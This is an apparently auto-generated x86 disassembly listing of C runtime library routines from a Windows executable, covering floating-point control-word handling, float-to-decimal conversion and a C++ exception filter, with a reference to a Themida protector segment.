		call	near ptr 2820000h
		test	eax, eax
		mov	eax, dword_43C504
		jnz	short loc_423EE8

loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8

loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB344
		call	near ptr 2820000h
		nop
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB

loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx

loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax

loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax

loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax

loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8

loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4

loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2

loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1

loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h

loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1

loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------

loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h

loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax

loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4

loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8

loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h

loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h

loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2

loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4

loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------

loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx

loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]

loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8

loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]

loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208

loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]

loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------

loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx

loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2

loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------

loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx

loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------

loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h

loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------

loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------

loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx

loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax

loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------

loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC78
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------

loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx

loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]

loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8

loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------

loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]

loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------

loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h

loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB470
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB498, eax
		add	esp, 18h
		movsx	eax, byte_4DB472
		mov	dword_4DB490, eax
		pop	edi
		movsx	eax, word_4DB470
		mov	dword_4DB494, eax
		mov	dword_4DB49C, offset dword_4DB474
		mov	eax, offset dword_4DB490
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------

loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------

loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8B8o
					; ___:0043D118o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------

loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4A0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4A0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------

loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax

loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1DBD82E8h], dl
		add	ah, byte ptr dword_4DB4A0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
dword_424764	dd 4DB4A035h, 0BD71E800h, 0C390021Dh ; DATA XREF: Themida_:00554829o

